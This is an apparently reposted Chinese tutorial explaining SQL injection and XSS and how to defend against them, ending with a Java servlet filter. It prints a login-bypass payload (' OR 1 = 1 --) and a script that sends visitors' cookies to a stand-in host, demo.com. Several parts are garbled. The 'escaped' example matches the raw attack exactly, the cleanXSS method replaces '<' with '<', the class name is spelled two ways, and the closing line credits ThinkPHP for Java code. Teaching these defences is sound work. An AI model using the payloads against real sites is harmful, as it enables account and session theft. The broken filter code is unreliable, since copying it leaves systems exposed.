SQL注入簡介
SQL 注入漏洞(SQL Injection)是 Web 開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。
而造成 SQL 注入的原因是因為程序沒有有效的轉義過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的 SQL 查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
很多 Web 開發者沒有意識到 SQL 查詢是可以被篡改的,從而把 SQL 查詢當作可信任的命令。殊不知,SQL 查詢是可以繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能通過 SQL 查詢去運行主機系統級的命令。
SQL 注入原理
下面將通過一些真實的例子來詳細講解 SQL 注入的方式的原理。
考慮以下簡單的管理員登錄表單:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陸" /></p>
</form>
后端的 SQL 語句可能是如下這樣的:
let querySQL = `
SELECT *
FROM user
WHERE username='${username}'
AND psw='${password}'
`;
// 接下來就是執行 sql 語句
目的就是來驗證用戶名和密碼是不是正確,按理說乍一看上面的 SQL 語句也沒什么毛病,確實是能夠達到我們的目的,可是你只是站在用戶會老老實實按照你的設計來輸入的角度來看問題,如果有一個惡意攻擊者輸入的用戶名是 zhangsan’ OR 1 = 1 --,密碼隨意輸入,就可以直接登入系統了。
冷靜下來思考一下,我們之前預想的真實 SQL 語句是:
SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'
可以惡意攻擊者的奇怪用戶名將你的 SQL 語句變成了如下形式:
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'
在 SQL 中,-- 是注釋后面的內容的意思,所以查詢語句就變成了:
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1
這條 SQL 語句的查詢條件永遠為真,所以意思就是惡意攻擊者不用我的密碼,就可以登錄進我的賬號,然后可以在里面為所欲為,然而這還只是最簡單的注入,牛逼的 SQL 注入高手甚至可以通過 SQL 查詢去運行主機系統級的命令,將你主機里的內容一覽無余,這里我也沒有這個能力講解的太深入,畢竟不是專業研究這類攻擊的,但是通過以上的例子,已經了解了 SQL 注入的原理,我們基本已經能找到防御 SQL 注入的方案了。
相關推薦:《Thinkphp教程》
預防 SQL 注入
防止 SQL 注入主要是不能允許用戶輸入的內容影響正常的 SQL 語句的邏輯,當用戶的輸入的信息將要用來拼接 SQL 語句的話,我們應該永遠選擇不相信,任何內容都必須進行轉義過濾,當然做到這個還是不夠的,下面列出防御 SQL 注入的幾點注意事項:
1、嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少注入攻擊對數據庫的危害。
2、后端代碼檢查輸入的數據是否符合預期,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理。
3、對進入數據庫的特殊字符(’,",,<,>,&,*,; 等)進行轉義處理,或編碼轉換?;旧纤械暮蠖苏Z言都有對字符串進行轉義處理的方法,比如 lodash 的 lodash._escapehtmlchar 庫。
4、所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。例如 Node.js 中的 MySQLjs 庫的 query 方法中的 ? 占位參數。
mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);
5、在應用發布之前建議使用專業的 SQL 注入檢測工具進行檢測,以及時修補被發現的 SQL 注入漏洞。網上有很多這方面的開源工具,例如 sqlmap、SQLninja 等。
6、避免網站打印出 SQL 錯誤信息,比如類型錯誤、字段不匹配等,把代碼里的 SQL 語句暴露出來,以防止攻擊者利用這些錯誤信息進行 SQL 注入。
7、不要過于細化返回的錯誤信息,如果目的是方便調試,就去使用后端日志,不要在接口上過多的暴露出錯信息,畢竟真正的用戶不關心太多的技術細節,只要話術合理就行。
XSS 攻擊簡介
XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程序中常見的漏洞。 原理是攻擊者往 web 頁面里插入惡意的腳本代碼(css代碼、JAVAScript代碼等),當用戶瀏覽該頁面時,嵌入其中的腳本代碼會被執行,從而達到惡意攻擊用戶的目的。如盜取用戶cookie,破壞頁面結構、重定向到其他網站等。
理論上來說,web 頁面中所有可由用戶輸入的地方,如果沒有對輸入的數據進行過濾處理的話,都會存在 XSS 漏洞;當然,我們也需要對模板視圖中的輸出數據進行過濾。
XSS 攻擊示例
有一個博客網站,提供了一個 web 頁面(內含表單)給所有的用戶發表博客,但該博客網站的開發人員并沒有對用戶提交的表單數據做任何過濾處理。 現在,我是一個攻擊者,在該博客網站發表了一篇博客,用于盜取其他用戶的cookie信息。博客內容如下:
<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>
這是一段 XSS 攻擊代碼。當其他用戶查看我的這篇博客時,他們的 cookie 信息就會被發送至我的 web 站點(http://demo.com/) ,如此,我就盜取了其他用戶的 cookie 信息。
預防 XSS 攻擊
核心思想
永遠不要相信用戶的輸入,必須對輸入的數據作過濾處理。
該函數會把字符串中的特殊字符轉化為 HTML 實體,這樣在輸出時,惡意的代碼就無法執行了。這些特殊字符主要是 ’ " & < >。
比如,我剛剛的惡意代碼被過濾后,會變為下面的代碼:
<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>
這樣,就可以預防大部分 XSS 攻擊了。
服務端代碼處理
以springboot為例:
可利用過濾器進行設置,如下所示:
/**
* 防止sql注入,xss攻擊
* 前端可以對輸入信息做預處理,后端也可以做處理。
*/
public class XssHttpServletRequestWrApper extends HttpServletRequestWrapper {
private final Logger log = LoggerFactory.getLogger(getClass());
private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
|declare|;|or|-|+";
private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
private static String replacedString="INVALID";
static {
String keyStr[] = key.split("\|");
for (String str : keyStr) {
notAllowedKeyWords.add(str);
}
}
private String currentUrl;
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
currentUrl = servletRequest.getRequestURI();
}
/**覆蓋getParameter方法,將參數名和參數值都做xss過濾。
* 如果需要獲得原始的值,則通過super.getParameterValues(name)來獲取
* getParameterNames,getParameterValues和getParameterMap也可能需要覆蓋
*/
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
@Override
public Map<String, String[]> getParameterMap(){
Map<String, String[]> values=super.getParameterMap();
if (values == null) {
return null;
}
Map<String, String[]> result=new HashMap<>();
for(String key:values.keySet()){
String encodedKey=cleanXSS(key);
int count=values.get(key).length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++){
encodedValues[i]=cleanXSS(values.get(key)[i]);
}
result.put(encodedKey,encodedValues);
}
return result;
}
/**
* 覆蓋getHeader方法,將參數名和參數值都做xss過濾。
* 如果需要獲得原始的值,則通過super.getHeaders(name)來獲取
* getHeaderNames 也可能需要覆蓋
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null) {
return null;
}
return cleanXSS(value);
}
private String cleanXSS(String valueP) {
// You'll need to remove the spaces from the html entities below
String value = valueP.replaceAll("<", "<").replaceAll(">", ">");
value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
value = value.replaceAll("\(", "& #40;").replaceAll("\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\((.*)\)", "");
value = value.replaceAll("[\"\'][\s]*JavaScript:(.*)[\"\']", """");
value = value.replaceAll("script", "");
value = cleanSqlKeyWords(value);
return value;
}
private String cleanSqlKeyWords(String value) {
String paramValue = value;
for (String keyword : notAllowedKeyWords) {
if (paramValue.length() > keyword.length() + 4
&& (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
contains(" "+keyword+" "))) {
paramValue = StringUtils.replace(paramValue, keyword, replacedString);
log.error(this.currentUrl + "已被過濾,因為參數中包含不允許sql的關鍵詞(" + keyword
+ ")"+";參數:"+value+";過濾后的參數:"+paramValue);
}
}
return paramValue;
}
}
以上就是thinkphp如何防止sql注入xss攻擊的詳細內容,更多請關注其它相關文章!